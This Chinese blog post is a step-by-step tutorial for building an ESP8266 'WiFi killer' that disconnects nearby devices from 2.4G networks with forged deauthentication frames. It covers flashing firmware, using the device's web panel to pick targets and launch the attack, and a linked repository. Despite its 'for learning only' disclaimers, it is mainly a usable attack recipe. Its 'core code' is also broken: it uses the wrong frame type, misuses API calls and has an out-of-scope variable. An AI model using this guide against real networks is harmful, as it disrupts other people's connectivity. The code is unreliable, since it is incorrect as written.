利用esp8266自制断网WIFI杀手(附开源代码)

997c1c56482d4597992a2a7c240ef20a.jpeg

重要的事情说三遍:本篇文章及涉及内容仅供学习!!!严禁进行非法活动!!!

重要的事情说三遍:本篇文章及涉及内容仅供学习!!!严禁进行非法活动!!!

重要的事情说三遍:本篇文章及涉及内容仅供学习!!!严禁进行非法活动!!!

一、WIFI杀手简介

        WiFi杀手,也称为WiFi干扰器或WiFi断开器,是一种设备,它能够干扰或断开其他设备与WiFi网络的连接,即造成所谓地断网(2.4G)。这种设备通常基于ESP8266模块,因为ESP8266是一款低成本、易于编程的WiFi芯片,非常适合用于DIY项目。其工作原理是利用WiFi协议中的某些特性来干扰网络连接。例如,它可以通过发送去认证帧(deauthentication frames)来断开连接。这些帧是未加密的,因此攻击者可以伪造它们来强制客户端设备与接入点断开连接。

二、详细原理   

        WiFi杀手的工作原理主要基于802.11无线网络协议中的某些特性。这些特性包括去认证帧(deauthentication frames)和去关联帧(disassociation frames),它们通常用于从无线网络中安全地断开客户端设备。由于这些帧是未加密的,攻击者可以伪造它们来强制客户端设备与接入点断开连接。

        具体来说,WiFi杀手设备通过以下步骤实现其功能:

  1. 创建接入点:WiFi杀手设备首先创建一个WiFi网络,通常命名为“pwned”或类似名称。

  2. 连接到目标网络:用户需要将WiFi杀手设备连接到目标WiFi网络,以便获取网络的MAC地址和频道信息。

  3. 发送去认证帧:WiFi杀手设备会发送去认证帧到目标网络的接入点和客户端设备。这些帧会导致客户端设备与接入点断开连接,从而实现WiFi干扰的目的。

  4. 干扰其他设备:通过不断发送去认证帧,WiFi杀手可以持续干扰其他设备的WiFi连接,使其无法正常访问网络。

        此外,一些WiFi杀手设备还具备更高级的功能,如创建钓鱼WiFi网络或执行其他类型的攻击。这些设备通常可以通过一个用户界面进行配置和控制,用户可以指定要攻击的网络,并选择不同的攻击模式。

        值得注意的是,虽然WiFi杀手可以用于合法的网络安全测试,但其使用应始终遵守法律法规,并确保不侵犯他人的网络安全和隐私。在公共场合使用时,需要格外小心,以免对周围设备造成不必要的干扰。

        在制作和使用WiFi杀手时,还应考虑到可能的防御措施。例如,使用WPA3加密,定期更新固件和软件以修复安全漏洞,以及使用VPN服务来加密网络流量,都是有效的防御手段。

三、DIY教程

1.材料准备

  1. ESP8266模块:这是项目的核心,可以从网上购买,如nodemcu模块。
  2. USB数据线:用于将ESP8266模块与电脑连接。
  3. 电脑:用于烧录固件和配置ESP8266模块。

9fa3edfceb5540fbad7850f5a0521c46.jpeg

2.安装驱动程序

如果你的ESP8266模块使用的是CH340或CP2102等串口芯片,需要先安装相应的驱动程序。

  1. 下载固件:可以从网上找到WiFi Killer固件(可见文末链接)
  2. 烧录工具:使用ESP8266Flasher或其他烧录工具。
  3. 烧录过程
    • 将ESP8266模块通过USB数据线连接到电脑。
    • 打开烧录工具,选择正确的COM端口和固件文件。
    • 点击烧录按钮,等待烧录完成。

3.配置ESP8266

  1. 连接到ESP8266:烧录完成后,ESP8266模块会创建一个名为“pwned”或类似名称的WiFi网络。
  2. 访问管理页面:使用电脑或手机连接到这个新创建的WiFi网络,并通过浏览器访问ESP8266的IP地址(通常是192.168.4.1)。
  3. 配置攻击目标:在ESP8266的管理页面,可以选择要攻击的WiFi网络,并执行断开连接等操作。

4.使用WiFi杀手

  1. 选择攻击模式:在管理页面,可以选择不同的攻击模式,如发送去认证帧来断开连接。
  2. 执行攻击:点击相应的按钮开始攻击,ESP8266模块将开始发送去认证帧,干扰其他设备的WiFi连接。

e6e6e279fb854474b3189b027fc843f7.jpeg

5.注意事项

  • 合法性:在进行任何操作之前,确保你有合法的理由和授权。
  • 道德责任:不得用于非法侵入他人网络或窃取信息。
  • 安全性:在公共场合使用时需要格外小心,以免对周围设备造成不必要的干扰。

四、核心代码讲解

创建一个WiFi杀手的核心代码通常涉及到发送去认证帧(deauthentication frames)来断开其他设备与WiFi网络的连接。以下是一个基于ESP8266的简单示例代码,这段代码使用了ESP8266的WiFi库来发送去认证帧。

#include <ESP8266WiFi.h>

// 目标网络的SSID和密码
const char* ssid = "TargetNetworkSSID";
const char* password = "TargetNetworkPassword";

// 目标网络的BSSID(MAC地址)
const uint8_t bssid[6] = {0x00, 0x11, 0x22, 0x33, 0x44, 0x55};

// 发送去认证帧的函数
void sendDeauthPacket(uint8_t *targetMac) {
  // 创建一个去认证帧
  uint8_t deauthFrame[28] = {
    0xB0, 0xDD, // Frame Control (Deauthentication)
    0x00, 0x00, // Duration
    bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], // Destination MAC (BSSID)
    targetMac[0], targetMac[1], targetMac[2], targetMac[3], targetMac[4], targetMac[5], // Source MAC (Your MAC)
    bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], // BSSID
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Sequence Control
    0xC0, 0xDE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 // Reason Code (Deauthentication)
  };

  // 发送去认证帧
  WiFiClass::socketSend(0, deauthFrame, sizeof(deauthFrame), 2, bssid, targetMac);
}

void setup() {
  // 连接到WiFi网络
  WiFi.begin(ssid, password);
  while (WiFi.status() != WL_CONNECTED) {
    delay(500);
    Serial.print(".");
  }
  Serial.println("Connected to WiFi");

  // 获取目标网络的BSSID
  struct bss_info bss;
  WiFi.promiscuousOn();
  WiFi.softAPmacAddress(bss);
  WiFi.promiscuousOff();

  // 获取目标网络的BSSID
  uint8_t targetMac[6] = {bss.BSSID[0], bss.BSSID[1], bss.BSSID[2], bss.BSSID[3], bss.BSSID[4], bss.BSSID[5]};

  // 发送去认证帧
  sendDeauthPacket(targetMac);
}

void loop() {
  // 保持发送去认证帧
  sendDeauthPacket(targetMac);
  delay(1000); // 每秒发送一次
}

        代码说明:

  1. 连接到WiFi网络:使用WiFi.begin(ssid, password)连接到目标网络。
  2. 获取BSSID:通过WiFi.promiscuousOn()WiFi.softAPmacAddress(bss)获取目标网络的BSSID。
  3. 发送去认证帧:定义sendDeauthPacket函数来发送去认证帧,该帧包含目标MAC地址和BSSID。
  4. 循环发送:在loop函数中不断发送去认证帧,以保持干扰效果。

五、开源代码链接

Gitub代码仓库

重要的事情再次强调:本篇文章及涉及内容仅供学习!!!严禁进行非法活动!!!

重要的事情再次强调:本篇文章及涉及内容仅供学习!!!严禁进行非法活动!!!

重要的事情再次强调:本篇文章及涉及内容仅供学习!!!严禁进行非法活动!!!

 

评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

摆烂仙君

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值